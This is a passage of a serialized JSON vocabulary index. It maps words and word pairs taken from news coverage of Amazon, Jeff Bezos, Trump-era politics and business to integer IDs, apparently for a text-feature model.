\"offers messaging\": 112037,\n  \"mta financing\": 112038,\n  \"watch people\": 112039,\n  \"feeling muckerman\": 112040,\n  \"currently operate\": 112041,\n  \"running trial\": 112042,\n  \"mw ho\": 112043,\n  \"enjoyed bipartisan\": 112044,\n  \"services individuals\": 112045,\n  \"politifact\": 112046,\n  \"organization board\": 112047,\n  \"better serve\": 112048,\n  \"speech vice\": 112049,\n  \"stoddard recent\": 112050,\n  \"swathes\": 112051,\n  \"survivors gather\": 112052,\n  \"foreign propagandists\": 112053,\n  \"democratic assembly\": 112054,\n  \"google samsung\": 112055,\n  \"reporters followed\": 112056,\n  \"getting completely\": 112057,\n  \"trump remarks\": 112058,\n  \"book industry\": 112059,\n  \"delivery competitors\": 112060,\n  \"trump won\": 112061,\n  \"help delivering\": 112062,\n  \"goody\": 112063,\n  \"trump asserted\": 112064,\n  \"standard agreement\": 112065,\n  \"tax jurisdiction\": 112066,\n  \"reconciliations\": 112067,\n  \"subsidizing packages\": 112068,\n  \"outpace microsoft\": 112069,\n  \"david roberts\": 112070,\n  \"york design\": 112071,\n  \"initiative questions\": 112072,\n  \"length offering\": 112073,\n  \"wristband\": 112074,\n  \"tatler rumour\": 112075,\n  \"wenxuan\": 112076,\n  \"320 words\": 112077,\n  \"carry people\": 112078,\n  \"mccarthyhouse gop\": 112079,\n  \"hall deserves\": 112080,\n  \"accounting firms\": 112081,\n  \"virginia bezos\": 112082,\n  \"hq2 need\": 112083,\n  \"brisk momentum\": 112084,\n  \"republican congressman\": 112085,\n  \"worker benefits\": 112086,\n  \"blackrock\": 112087,\n  \"kudlow ron\": 112088,\n  \"individual operating\": 112089,\n  \"documentary short\": 112090,\n  \"nsa fbi\": 112091,\n  \"seemingly response\": 112092,\n  \"politician laid\": 112093,\n  \"enquirer afp\": 112094,\n  \"racial injustice\": 112095,\n  \"service unlike\": 112096,\n  \"crew capsule\": 112097,\n  \"actions threatening\": 112098,\n  \"marketing professor\": 112099,\n  \"require report\": 112100,\n  \"criticize republicans\": 112101,\n  \"advocates sue\": 112102,\n  \"investing investment\": 112103,\n  \"alternative right\": 112104,\n  \"companionship\": 112105,\n  \"added ians\": 112106,\n  \"qualify nominees\": 112107,\n  \"unplugged\": 112108,\n  \"null inc_homepage_headline_ab_test\": 112109,\n  \"siriusxm\": 112110,\n  \"amazon etsy\": 112111,\n  \"supports alexa\": 112112,\n  \"partner working\": 112113,\n  \"worldwide multi\": 112114,\n  \"acostas karate\": 112115,\n  \"ea w5\": 112116,\n  \"tax amazon\": 112117,\n  \"incompetent offspring\": 112118,\n  \"nextplay null\": 112119,\n  \"blink\": 112120,\n  \"powerful silicon\": 112121,\n  \"dollar industry\": 112122,\n  \"latest campaign\": 112123,\n  \"sparred\": 112124,\n  \"ibm general\": 112125,\n  \"menzel\": 112126,\n  \"obama good\": 112127,\n  \"airlines passenger\": 112128,\n  \"ken meyer\": 112129,\n  \"paul castronovo\": 112130,\n  \"shea wrote\": 112131,\n  \"revelation expressing\": 112132,\n  \"21st partner\": 112133,\n  \"reading experts\": 112134,\n  \"565 million\": 112135,\n  \"hudgins observed\": 112136,\n  \"consultants trump\": 112137,\n  \"states technology\": 112138,\n  \"praised ceos\": 112139,\n  \"start businesses\": 112140,\n  \"ecl panagora\": 112141,\n  \"recoup\": 112142,\n  \"long rhetorical\": 112143,\n  \"ago estimize\": 112144,\n  \"reuters gm\": 112145,\n  \"whatsappshareelement attr\": 112146,\n  \"politics reports\": 112147,\n  \"brazilian soccer\": 112148,\n  \"support rise\": 112149,\n  \"impose costs\": 112150,\n  \"assume earlier\": 112151,\n  \"company woo\": 112152,\n  \"businesses wbes\": 112153,\n  \"mass success\": 112154,\n  \"tons compared\": 112155,\n  \"detected severe\": 112156,\n  \"cove\": 112157,\n  \"scrubbed save\": 112158,\n  \"libertarian speech\": 112159,\n  \"blamed amazon\": 112160,\n  \"game box\": 112161,\n  \"photo cityoftoronto\": 112162,\n  \"ryan release\": 112163,\n  \"changes designed\": 112164,\n  \"self funded\": 112165,\n  \"signs advertising\": 112166,\n  \"ginger gibson\": 112167,\n  \"electrical brands\": 112168,\n  \"competitive contract\": 112169,\n  \"exec tim\": 112170,\n  \"federal disaster\": 112171,\n  \"giant cease\": 112172,\n  \"113 million\": 112173,\n  \"mumbai tesla\": 112174,\n  \"religious pursuits\": 112175,\n  \"walmart strong\": 112176,\n  \"general takeaway\": 112177,\n  \"creativity culture\": 112178,\n  \"extract better\": 112179,\n  \"amp\": 112180,\n  \"hearing allegations\": 112181,\n  \"finalists wapo\": 112182,\n  \"afghan constitution\": 112183,\n  \"care ambitions\": 112184,\n  \"company correspondence\": 112185,\n  \"a4ee s1\": 112186,\n  \"alexa charcoal\": 112187,\n  \"farc\": 112188,\n  \"denounced communism\": 112189,\n  \"financial health\": 112190,\n  \"absurd sanders\": 112191,\n  \"way talks\": 112192,\n  \"home delivery\": 112193,\n  \"2018 high\": 112194,\n  \"fuel consumption\": 112195,\n  \"billion enterprise\": 112196,\n  \"orange makeup\": 112197,\n  \"unlabeled\": 112198,\n  \"previously asserted\": 112199,\n  \"locker\": 112200,\n  \"fast facts\": 112201,\n  \"trumps trade\": 112202,\n  \"putnam sons\": 112203,\n  \"began trading\": 112204,\n  \"stern staying\": 112205,\n  \"tested methods\": 112206,\n  \"warren mandate\": 112207,\n  \"safe story\": 112208,\n  \"taxpayers advertisement\": 112209,\n  \"size washington\": 112210,\n  \"fairfax\": 112211,\n  \"khairul anwar\": 112212,\n  \"massive platform\": 112213,\n  \"bankruptcies\": 112214,\n  \"state camping\": 112215,\n  \"database peek\": 112216,\n  \"500 sector\": 112217,\n  \"longer enforced\": 112218,\n  \"processing center\": 112219,\n  \"hazing\": 112220,\n  \"love child\": 112221,\n  \"singles\": 112222,\n  \"simply juicy\": 112223,\n  \"stern book\": 112224,\n  \"stuff pointing\": 112225,\n  \"doublespeak\": 112226,\n  \"especially complicated\": 112227,\n  \"research\": 112228,\n  \"unaware michael\": 112229,\n  \"officials decisions\": 112230,\n  \"nonpartisan manner\": 112231,\n  \"opposites\": 112232,\n  \"competitive position\": 112233,\n  \"globe thebrowser\": 112234,\n  \"comments read\": 112235,\n  \"2007 virginia\": 112236,\n  \"2007 amazon\": 112237,\n  \"375 charter\": 112238,\n  \"businesses little\": 112239,\n  \"usually fall\": 112240,\n  \"cooperated\": 112241,\n  \"fiscal sustainability\": 112242,\n  \"devil bargain\": 112243,\n  \"asoga contact\": 112244,\n  \"daily cummings\": 112245,\n  \"lisa kohn\": 112246,\n  \"boycott apple\": 112247,\n  \"extensive investigation\": 112248,\n  \"resumes black\": 112249,\n  \"dp b07qmsx3wd\": 112250,\n  \"chief carmen\": 112251,\n  \"halfhearted signature\": 112252,\n  \"global market\": 112253,\n  \"indulge\": 112254,\n  \"uncovering unexpected\": 112255,\n  \"countries wikileak\": 112256,\n  \"stuffing\": 112257,\n  \"founder oracle\": 112258,\n  \"company exposure\": 112259,\n  \"4k people\": 112260,\n  \"cnn reporter\": 112261,\n  \"inflow\": 112262,\n  \"okeechobee fla\": 112263,\n  \"trash cans\": 112264,\n  \"senator liz\": 112265,\n  \"live broadcasts\": 112266,\n  \"ipo source\": 112267,\n  \"winsoncin\": 112268,\n  \"emailed bezos\": 112269,\n  \"publishing arm\": 112270,\n  \"america employment\": 112271,\n  \"florida legal\": 112272,\n  \"flops\": 112273,\n  \"smile\": 112274,\n  \"privacy violations\": 112275,\n  \"tree 2018\": 112276,\n  \"rightist general\": 112277,\n  \"employed blackmail\": 112278,\n  \"resists unionization\": 112279,\n  \"hike sanders\": 112280,\n  \"company began\": 112281,\n  \"incorrect siding\": 112282,\n  \"new shoes\": 112283,\n  \"critics seeking\": 112284,\n  \"developing blue\": 112285,\n  \"carrot\": 112286,\n  \"story households\": 112287,\n  \"recount gas\": 112288,\n  \"creating tech\": 112289,\n  \"sending signal\": 112290,\n  \"wasn addictive\": 112291,\n  \"heard\": 112292,\n  \"amazon ride\": 112293,\n  \"p1rjfrpwte\": 112294,\n  \"conveniently located\": 112295,\n  \"times citing\": 112296,\n  \"molly russell\": 112297,\n  \"wrote hopefully\": 112298,\n  \"fy17 fy18\": 112299,\n  \"amazon takes\": 112300,\n  \"johnston\": 112301,\n  \"strange demonic\": 112302,\n  \"mes\": 112303,\n  \"sponsor\": 112304,\n  \"shudders\": 112305,\n  \"rally amazon\": 112306,\n  \"statistics accessed\": 112307,\n  \"giant online\": 112308,\n  \"site regualar\": 112309,\n  \"bassin\": 112310,\n  \"environment haaland\": 112311,\n  \"satchel\": 112312,\n  \"promote reports\": 112313,\n  \"10000\": 112314,\n  \"merchants amazon\": 112315,\n  \"bubble study\": 112316,\n  \"today released\": 112317,\n  \"president travels\": 112318,\n  \"astronomically\": 112319,\n  \"walmart site\": 112320,\n  \"inject\": 112321,\n  \"gnrc hospitals\": 112322,\n  \"dylan\": 112323,\n  \"date digging\": 112324,\n  \"today quite\": 112325,\n  \"elected officials\": 112326,\n  \"decades twitter\": 112327,\n  \"story german\": 112328,\n  \"usps group\": 112329,\n  \"receives walk\": 112330,\n  \"cranberry sauce\": 112331,\n  \"a4ee p0\": 112332,\n  \"international brexit\": 112333,\n  \"strike employees\": 112334,\n  \"developer president\": 112335,\n  \"repeal voter\": 112336,\n  \"open markets\": 112337,\n  \"hour warehouse\": 112338,\n  \"technology lock\": 112339,\n  \"davidson mark\": 112340,\n  \"includes routers\": 112341,\n  \"handwritten\": 112342,\n  \"neighbor microsoft\": 112343,\n  \"trump argued\": 112344,\n  \"job possibly\": 112345,\n  \"airways knocked\": 112346,\n  \"questions questions\": 112347,\n  \"group allegedly\": 112348,\n  \"really care\": 112349,\n  \"seinfeld\": 112350,\n  \"cried bloody\": 112351,\n  \"compromise\": 112352,\n  \"headquarters dubbed\": 112353,\n  \"councilman jimmy\": 112354,\n  \"tweeted word\": 112355,\n  \"colorado\": 112356,\n  \"gayle john\": 112357,\n  \"small thing\": 112358,\n  \"watch live\": 112359,\n  \"fed crackdown\": 112360,\n  \"rate box\": 112361,\n  \"year primarily\": 112362,\n  \"buck stops\": 112363,\n  \"rj hottovy\": 112364,\n  \"main stream\": 112365,\n  \"adds angst\": 112366,\n  \"history numerous\": 112367,\n  \"daniels triggered\": 112368,\n  \"reporters signed\": 112369,\n  \"amberkira live\": 112370,\n  \"staffers\": 112371,\n  \"league manager\": 112372,\n  \"tycoons\": 112373,\n  \"impersonal north\": 112374,\n  \"computing artificial\": 112375,\n  \"legislation governor\": 112376,\n  \"diane\": 112377,\n  \"better investment\": 112378,\n  \"critical journalists\": 112379,\n  \"wirtschaftswoche german\": 112380,\n  \"jared rizzi\": 112381,\n  \"retail diverse\": 112382,\n  \"long haul\": 112383,\n  \"won consider\": 112384,\n  \"follow mother\": 112385,\n  \"amazon service\": 112386,\n  \"new lords\": 112387,\n  \"says deutsche\": 112388,\n  \"chef gordon\": 112389,\n  \"house fortune\": 112390,\n  \"stalking subject\": 112391,\n  \"fin24\": 112392,\n  \"lucy malouf\": 112393,\n  \"statement announcing\": 112394,\n  \"founder jamie\": 112395,\n  \"jeong recently\": 112396,\n  \"ne published\": 112397,\n  \"pixar friends\": 112398,\n  \"develop original\": 112399,\n  \"zama\": 112400,\n  \"lasting substances\": 112401,\n  \"points\": 112402,\n  \"proposed additional\": 112403,\n  \"shipments fedex\": 112404,\n  \"trump agents\": 112405,\n  \"protecting people\": 112406,\n  \"sciences campus\": 112407,\n  \"cardinal clash\": 112408,\n  \"equitable present\": 112409,\n  \"titled fear\": 112410,\n  \"market clearly\": 112411,\n  \"minister giovanni\": 112412,\n  \"joe actually\": 112413,\n  \"supporting museums\": 112414,\n  \"ceo owns\": 112415,\n  \"ttrolling trump\": 112416,\n  \"conservation bolsonaro\": 112417,\n  \"announcing amazon\": 112418,\n  \"overwhelming consensus\": 112419,\n  \"year win\": 112420,\n  \"sway\": 112421,\n  \"greene east\": 112422,\n  \"providing necessary\": 112423,\n  \"seraph chelsea\": 112424,\n  \"similar strategy\": 112425,\n  \"cassell pulled\": 112426,\n  \"weekend excuse\": 112427,\n  \"technology wrote\": 112428,\n  \"effectively eliminate\": 112429,\n  \"washington economic\": 112430,\n  \"members plan\": 112431,\n  \"alabama stephanie\": 112432,\n  \"pacify growing\": 112433,\n  \"data crunching\": 112434,\n  \"tensions patients\": 112435,\n  \"amazon continuously\": 112436,\n  \"shares blume\": 112437,\n  \"robot intelligence\": 112438,\n  \"brothers signaled\": 112439,\n  \"flooding michael\": 112440,\n  \"inspirational religious\": 112441,\n  \"augustine\": 112442,\n  \"analyst aaron\": 112443,\n  \"boneheadalert\": 112444,\n  \"profile public\": 112445,\n  \"earlier michael\": 112446,\n  \"game saved\": 112447,\n  \"ceos released\": 112448,\n  \"rot amazon\": 112449,\n  \"imagined read\": 112450,\n  \"500 closed\": 112451,\n  \"aimovig\": 112452,\n  \"excellence\": 112453,\n  \"bezos serving\": 112454,\n  \"greene hq4\": 112455,\n  \"early 1980s\": 112456,\n  \"ponce\": 112457,\n  \"best amazon\": 112458,\n  \"typical gold\": 112459,\n  \"john frieda\": 112460,\n  \"extreme political\": 112461,\n  \"retailer offered\": 112462,\n  \"source american\": 112463,\n  \"barclays follow\": 112464,\n  \"includes multiple\": 112465,\n  \"smollett\": 112466,\n  \"magazine friends\": 112467,\n  \"hoodies loafers\": 112468,\n  \"dissected\": 112469,\n  \"completion date\": 112470,\n  \"seconds london\": 112471,\n  \"hasn pulled\": 112472,\n  \"dilma\": 112473,\n  \"content algorithms\": 112474,\n  \"mines\": 112475,\n  \"budget smartphone\": 112476,\n  \"control isn\": 112477,\n  \"reaching 4044\": 112478,\n  \"performance metrics\": 112479,\n  \"portfolio bp\": 112480,\n  \"lately 2018\": 112481,\n  \"frigid temperatures\": 112482,\n  \"nemmqxvj07 greg\": 112483,\n  \"particular los\": 112484,\n  \"dogs love\": 112485,\n  \"guys\": 112486,\n  \"oversight using\": 112487,\n  \"luis\": 112488,\n  \"claimed enquirer\": 112489,\n  \"labor turnover\": 112490,\n  \"battalion\": 112491,\n  \"deadline valentine\": 112492,\n  \"grouped\": 112493,\n  \"gilt\": 112494,\n  \"america west\": 112495,\n  \"years cicilline\": 112496,\n  \"department public\": 112497,\n  \"amazon eve\": 112498,\n  \"begin leaving\": 112499,\n  \"separate questions\": 112500,\n  \"hbo\": 112501,\n  \"immense wealth\": 112502,\n  \"dollar guaranteed\": 112503,\n  \"sabzi\": 112504,\n  \"2018 justice\": 112505,\n  \"staten\": 112506,\n  \"amazonians penned\": 112507,\n  \"institutional security\": 112508,\n  \"bezos wants\": 112509,\n  \"power response\": 112510,\n  \"cut prices\": 112511,\n  \"massachusetts vermont\": 112512,\n  \"goods fields\": 112513,\n  \"monopsony power\": 112514,\n  \"add_commas\": 112515,\n  \"job interviews\": 112516,\n  \"cloud looks\": 112517,\n  \"store rage\": 112518,\n  \"uspc\": 112519,\n  \"trump pecker\": 112520,\n  \"year cyber\": 112521,\n  \"department advisories\": 112522,\n  \"instance vine\": 112523,\n  \"competitor product\": 112524,\n  \"customer methods\": 112525,\n  \"price benefits\": 112526,\n  \"cowboy\": 112527,\n  \"sort information\": 112528,\n  \"lawn decorations\": 112529,\n  \"reuters nvidia\": 112530,\n  \"welcome\": 112531,\n  \"company declined\": 112532,\n  \"hopkins michael\": 112533,\n  \"election campaigns\": 112534,\n  \"woes market\": 112535,\n  \"cato institute\": 112536,\n  \"used search\": 112537,\n  \"really challenging\": 112538,\n  \"bloomberg spencer\": 112539,\n  \"global newspaper\": 112540,\n  \"krupnick million\": 112541,\n  \"bloomberg 2018\": 112542,\n  \"including analysts\": 112543,\n  \"companies sluggish\": 112544,\n  \"accurate newspaper\": 112545,\n  \"texts dms\": 112546,\n  \"political hatchet\": 112547,\n  \"nextplay currentvidobj\": 112548,\n  \"world media\": 112549,\n  \"base brazil\": 112550,\n  \"amazon lead\": 112551,\n  \"boys working\": 112552,\n  \"patrick\": 112553,\n  \"calderone\": 112554,\n  \"words arrived\": 112555,\n  \"andrew sheivachman\": 112556,\n  \"california american\": 112557,\n  \"sic government\": 112558,\n  \"finalizes\": 112559,\n  \"stevens wsj\": 112560,\n  \"charging sales\": 112561,\n  \"picks apart\": 112562,\n  \"questions continue\": 112563,\n  \"divorcing implicitly\": 112564,\n  \"lion valentines\": 112565,\n  \"diamond sale\": 112566,\n  \"accessos as_pez\": 112567,\n  \"upper east\": 112568,\n  \"federal lawsuit\": 112569,\n  \"year career\": 112570,\n  \"big project\": 112571,\n  \"pacific sydney\": 112572,\n  \"ethical standard\": 112573,\n  \"shadow workforce\": 112574,\n  \"away biggest\": 112575,\n  \"market sign\": 112576,\n  \"anderson arena\": 112577,\n  \"democrats encryption\": 112578,\n  \"chairman corey\": 112579,\n  \"left puzzled\": 112580,\n  \"befriends highly\": 112581,\n  \"sep\": 112582,\n  \"receiving tax\": 112583,\n  \"law set\": 112584,\n  \"iranian american\": 112585,\n  \"amzn threw\": 112586,\n  \"giving mccain\": 112587,\n  \"downriver suburbs\": 112588,\n  \"waterfront public\": 112589,\n  \"tech executives\": 112590,\n  \"gaetz thank\": 112591,\n  \"examining ties\": 112592,\n  \"enu blogspot\": 112593,\n  \"meandering road\": 112594,\n  \"george ryan\": 112595,\n  \"school hid\": 112596,\n  \"week just\": 112597,\n  \"seconds michael\": 112598,\n  \"fatima\": 112599,\n  \"samsung according\": 112600,\n  \"industry rivalries\": 112601,\n  \"winning series\": 112602,\n  \"suicides foxconn\": 112603,\n  \"built worldwide\": 112604,\n  \"increased scrutiny\": 112605,\n  \"election broke\": 112606,\n  \"poll better\": 112607,\n  \"conducting second\": 112608,\n  \"alleged sexting\": 112609,\n  \"commerce succeeds\": 112610,\n  \"lip\": 112611,\n  \"texting nude\": 112612,\n  \"underway dow\": 112613,\n  \"lisota\": 112614,\n  \"democraticpoliticians saying\": 112615,\n  \"porch\": 112616,\n  \"twitter targeting\": 112617,\n  \"buy christmas\": 112618,\n  \"fund independent\": 112619,\n  \"launch called\": 112620,\n  \"hazing scandal\": 112621,\n  \"unfilmable\": 112622,\n  \"ttph\": 112623,\n  \"tax days\": 112624,\n  \"target takes\": 112625,\n  \"logjam\": 112626,\n  \"occurred woodbridge\": 112627,\n  \"follows similar\": 112628,\n  \"general contractors\": 112629,\n  \"bizarre slogan\": 112630,\n  \"research organization\": 112631,\n  \"ethnocide featured\": 112632,\n  \"year walmart\": 112633,\n  \"discipline ways\": 112634,\n  \"dropped bomb\": 112635,\n  \"recommendations related\": 112636,\n  \"finance division\": 112637,\n  \"sales drop\": 112638,\n  \"funding mechanisms\": 112639,\n  \"waned\": 112640,\n  \"requirements exist\": 112641,\n  \"story regardless\": 112642,\n  \"california eventually\": 112643,\n  \"mysterious blue\": 112644,\n  \"fund official\": 112645,\n  \"fresh fetal\": 112646,\n  \"fare brian\": 112647,\n  \"day jack\": 112648,\n  \"bongo\": 112649,\n  \"amazon programmers\": 112650,\n  \"theydiscussed\": 112651,\n  \"million month\": 112652,\n  \"offsety\": 112653,\n  \"store pix11news\": 112654,\n  \"cooking albert\": 112655,\n  \"retaliatory\": 112656,\n  \"government program\": 112657,\n  \"minerva studiom\": 112658,\n  \"singh ceo\": 112659,\n  \"voting precincts\": 112660,\n  \"vocally\": 112661,\n  \"libya netflix\": 112662,\n  \"website records\": 112663,\n  \"hurt cnn\": 112664,\n  \"protagonist\": 112665,\n  \"beginning sentence\": 112666,\n  \"president normally\": 112667,\n  \"vancouversun\": 112668,\n  \"conservatives potential\": 112669,\n  \"balance sheets\": 112670,\n  \"unlawful inconsistent\": 112671,\n  \"republican desperation\": 112672,\n  \"offended lefties\": 112673,\n  \"slogan slavery\": 112674,\n  \"contract burning\": 112675,\n  \"list version\": 112676,\n  \"father did\": 112677,\n  \"sport money\": 112678,\n  \"year bezos\": 112679,\n  \"profit prisons\": 112680,\n  \"video clip\": 112681,\n  \"vaheesan policy\": 112682,\n  \"nu2bvlegd1\": 112683,\n  \"helped bring\": 112684,\n  \"company history\": 112685,\n  \"industry according\": 112686,\n  \"152 000\": 112687,\n  \"2015 backed\": 112688,\n  \"included fancy\": 112689,\n  \"cnn did\": 112690,\n  \"included lavish\": 112691,\n  \"twitter carrell\": 112692,\n  \"longer sells\": 112693,\n  \"haven destitute\": 112694,\n  \"ship parcels\": 112695,\n  \"run state\": 112696,\n  \"despite 2016\": 112697,\n  \"fell fraction\": 112698,\n  \"collecting local\": 112699,\n  \"revolvers officials\": 112700,\n  \"workplace sanders\": 112701,\n  \"high million\": 112702,\n  \"york investors\": 112703,\n  \"negligible value\": 112704,\n  \"enterprises link\": 112705,\n  \"entertainment event\": 112706,\n  \"v0 ja\": 112707,\n  \"weirdralph weirdralph\": 112708,\n  \"kids separated\": 112709,\n  \"investment research\": 112710,\n  \"considered marital\": 112711,\n  \"praising jeff\": 112712,\n  \"tesla amazon\": 112713,\n  \"normie\": 112714,\n  \"company iac\": 112715,\n  \"ordinarily wouldn\": 112716,\n  \"open robot\": 112717,\n  \"post things\": 112718,\n  \"king hodder\": 112719,\n  \"51m editorializes\": 112720,\n  \"drone operations\": 112721,\n  \"house phil\": 112722,\n  \"bezos holding\": 112723,\n  \"troops prematurely\": 112724,\n  \"regular price\": 112725,\n  \"behavior think\": 112726,\n  \"gangster caught\": 112727,\n  \"navy rear\": 112728,\n  \"month took\": 112729,\n  \"bid processes\": 112730,\n  \"inelections\": 112731,\n  \"music copyright\": 112732,\n  \"digest handful\": 112733,\n  \"ceased\": 112734,\n  \"multiple awards\": 112735,\n  \"bigfoot\": 112736,\n  \"charlie baker\": 112737,\n  \"facebook uk\": 112738,\n  \"caps nearly\": 112739,\n  \"isn afraid\": 112740,\n  \"landing crystal\": 112741,\n  \"technical issues\": 112742,\n  \"wrote president\": 112743,\n  \"justice reporter\": 112744,\n  \"commercial businesses\": 112745,\n  \"figures inside\": 112746,\n  \"quarter stopped\": 112747,\n  \"campaign push\": 112748,\n  \"airbnb uber\": 112749,\n  \"suing amazon\": 112750,\n  \"icon gene\": 112751,\n  \"mcdonald\": 112752,\n  \"deals people\": 112753,\n  \"visible businesses\": 112754,\n  \"bullied\": 112755,\n  \"planning big\": 112756,\n  \"bright horizons\": 112757,\n  \"points strong\": 112758,\n  \"memes\": 112759,\n  \"sai\": 112760,\n  \"financing organization\": 112761,\n  \"video spend\": 112762,\n  \"failures\": 112763,\n  \"weekend best\": 112764,\n  \"story effectively\": 112765,\n  \"arranging hush\": 112766,\n  \"published pictures\": 112767,\n  \"2019 red\": 112768,\n  \"efforts lauren\": 112769,\n  \"mackenzie half\": 112770,\n  \"bans controversial\": 112771,\n  \"national labor\": 112772,\n  \"fetus person\": 112773,\n  \"company petrochina\": 112774,\n  \"google shows\": 112775,\n  \"accurate prophecies\": 112776,\n  \"review netflixs\": 112777,\n  \"destroy magna\": 112778,\n  \"b8zjiefv0v tim\": 112779,\n  \"gop focused\": 112780,\n  \"day tower\": 112781,\n  \"specific\": 112782,\n  \"currently home\": 112783,\n  \"bearish course\": 112784,\n  \"adblock\": 112785,\n  \"crude prices\": 112786,\n  \"company new\": 112787,\n  \"seattle electronic\": 112788,\n  \"brothers big\": 112789,\n  \"bangkok thailand\": 112790,\n  \"order service\": 112791,\n  \"republic oct\": 112792,\n  \"split companies\": 112793,\n  \"mandatory\": 112794,\n  \"ad infinitum\": 112795,\n  \"crisis source\": 112796,\n  \"comparisons\": 112797,\n  \"burroughs\": 112798,\n  \"platforms unauthorized\": 112799,\n  \"issues facing\": 112800,\n  \"federal circles\": 112801,\n  \"supposed subsidy\": 112802,\n  \"cloud contract\": 112803,\n  \"advancements\": 112804,\n  \"boston saying\": 112805,\n  \"weekday opinion\": 112806,\n  \"attending college\": 112807,\n  \"trailing bezos\": 112808,\n  \"coalatree\": 112809,\n  \"mellon\": 112810,\n  \"government trolling\": 112811,\n  \"night saying\": 112812,\n  \"fowler\": 112813,\n  \"better aligned\": 112814,\n  \"good whiskey\": 112815,\n  \"quarterly results\": 112816,\n  \"chemicals\": 112817,\n  \"commerce telecom\": 112818,\n  \"strategist remarked\": 112819,\n  \"final selections\": 112820,\n  \"ones don\": 112821,\n  \"reporter making\": 112822,\n  \"secluded body\": 112823,\n  \"highly significant\": 112824,\n  \"showy selection\": 112825,\n  \"president words\": 112826,\n  \"directions oil\": 112827,\n  \"fy17\": 112828,\n  \"federal commerce\": 112829,\n  \"amazon region\": 112830,\n  \"gibney\": 112831,\n  \"modest price\": 112832,\n  \"london based\": 112833,\n  \"immigration surge\": 112834,\n  \"path hard\": 112835,\n  \"merely placeholder\": 112836,\n  \"signed letter\": 112837,\n  \"head liane\": 112838,\n  \"ken glueck\": 112839,\n  \"country ailing\": 112840,\n  \"globalization anti\": 112841,\n  \"staggered\": 112842,\n  \"corrosive effect\": 112843,\n  \"close plants\": 112844,\n  \"customers succeed\": 112845,\n  \"headquarters promising\": 112846,\n  \"new facial\": 112847,\n  \"touted\": 112848,\n  \"session structure\": 112849,\n  \"ego dan\": 112850,\n  \"speculation bezos\": 112851,\n  \"new details\": 112852,\n  \"publicly praised\": 112853,\n  \"offloading package\": 112854,\n  \"court vote\": 112855,\n  \"cereal\": 112856,\n  \"ones appear\": 112857,\n  \"chief staff\": 112858,\n  \"trends news\": 112859,\n  \"preacher available\": 112860,\n  \"taking swipe\": 112861,\n  \"amassed significant\": 112862,\n  \"founding father\": 112863,\n  \"welcomes amazon\": 112864,\n  \"brittny mejia\": 112865,\n  \"landing page\": 112866,\n  \"growing rate\": 112867,\n  \"nuisance power\": 112868,\n  \"precedence regarding\": 112869,\n  \"believe illegally\": 112870,\n  \"bob fredericks\": 112871,\n  \"sun protection\": 112872,\n  \"received rebate\": 112873,\n  \"week feel\": 112874,\n  \"andrew harnik\": 112875,\n  \"cooperation intelligence\": 112876,\n  \"vetting prospective\": 112877,\n  \"9th printing\": 112878,\n  \"family known\": 112879,\n  \"mystery involving\": 112880,\n  \"randall\": 112881,\n  \"cloud server\": 112882,\n  \"big auto\": 112883,\n  \"murder case\": 112884,\n  \"podcast liberals\": 112885,\n  \"second season\": 112886,\n  \"yg2nhpt78i amica\": 112887,\n  \"africa startup\": 112888,\n  \"alcoa\": 112889,\n  \"items customs\": 112890,\n  \"valuable marginal\": 112891,\n  \"story senator\": 112892,\n  \"nighttime shadows\": 112893,\n  \"technological economic\": 112894,\n  \"involved potential\": 112895,\n  \"industry worldwide\": 112896,\n  \"lived\": 112897,\n  \"attacks escalated\": 112898,\n  \"called nepotism\": 112899,\n  \"reported nearly\": 112900,\n  \"garner\": 112901,\n  \"handmade isn\": 112902,\n  \"text pharmacy\": 112903,\n  \"nasdaq giving\": 112904,\n  \"contest author\": 112905,\n  \"canada stated\": 112906,\n  \"graphic artists\": 112907,\n  \"official return\": 112908,\n  \"values yesterday\": 112909,\n  \"latest commercial\": 112910,\n  \"new wave\": 112911,\n  \"politically tinged\": 112912,\n  \"commerce game\": 112913,\n  \"severing ties\": 112914,\n  \"says morthland\": 112915,\n  \"yea\": 112916,\n  \"jpg adrian\": 112917,\n  \"shepard smith\": 112918,\n  \"style work\": 112919,\n  \"thrones iconimageurl\": 112920,\n  \"trade fight\": 112921,\n  \"return divine\": 112922,\n  \"1614et\": 112923,\n  \"deportation\": 112924,\n  \"2q eps\": 112925,\n  \"lesther\": 112926,\n  \"faces political\": 112927,\n  \"sheet reflects\": 112928,\n  \"role leading\": 112929,\n  \"exaggerate given\": 112930,\n  \"run things\": 112931,\n  \"doepfner editor\": 112932,\n  \"directly interfere\": 112933,\n  \"usps massive\": 112934,\n  \"trenchcoat wearing\": 112935,\n  \"year cca\": 112936,\n  \"2019 cfo\": 112937,\n  \"combat global\": 112938,\n  \"10b5\": 112939,\n  \"richard ojeda\": 112940,\n  \"potential bulwark\": 112941,\n  \"mcmanus new\": 112942,\n  \"economic expansion\": 112943,\n  \"food visiting\": 112944,\n  \"revenue partenheimer\": 112945,\n  \"kew\": 112946,\n  \"nystrom university\": 112947,\n  \"lowe companies\": 112948,\n  \"ai hype\": 112949,\n  \"christopher wray\": 112950,\n  \"assault claims\": 112951,\n  \"unfccc\": 112952,\n  \"cannes women\": 112953,\n  \"pay 119\": 112954,\n  \"ceo power\": 112955,\n  \"dame\": 112956,\n  \"cantwell\": 112957,\n  \"officially proposing\": 112958,\n  \"marketwatch despite\": 112959,\n  \"shoddiest\": 112960,\n  \"overcoming objections\": 112961,\n  \"ramsay rapper\": 112962,\n  \"reorganization amazon\": 112963,\n  \"checking accounts\": 112964,\n  \"upside\": 112965,\n  \"article titled\": 112966,\n  \"180000 2018\": 112967,\n  \"lenses\": 112968,\n  \"newyork times\": 112969,\n  \"political candidate\": 112970,\n  \"hampshire institute\": 112971,\n  \"peace agreement\": 112972,\n  \"campbell respected\": 112973,\n  \"cyrillic\": 112974,\n  \"bernstein founder\": 112975,\n  \"ticks sims\": 112976,\n  \"mexico officials\": 112977,\n  \"solicit\": 112978,\n  \"killed khashoggi\": 112979,\n  \"scrutinise\": 112980,\n  \"buy surgical\": 112981,\n  \"disruptors companies\": 112982,\n  \"shipped ultimately\": 112983,\n  \"penis selfies\": 112984,\n  \"regularly slams\": 112985,\n  \"sp500 comptemptext\": 112986,\n  \"perfect options\": 112987,\n  \"program adds\": 112988,\n  \"easily acquire\": 112989,\n  \"think sort\": 112990,\n  \"sporting events\": 112991,\n  \"opinion walmart\": 112992,\n  \"ceos jeff\": 112993,\n  \"european ties\": 112994,\n  \"ventures told\": 112995,\n  \"tools\": 112996,\n  \"men seize\": 112997,\n  \"renewed investigation\": 112998,\n  \"criticism opposition\": 112999,\n  \"chairs cross\": 113000,\n  \"angeles\": 113001,\n  \"fistfight\": 113002,\n  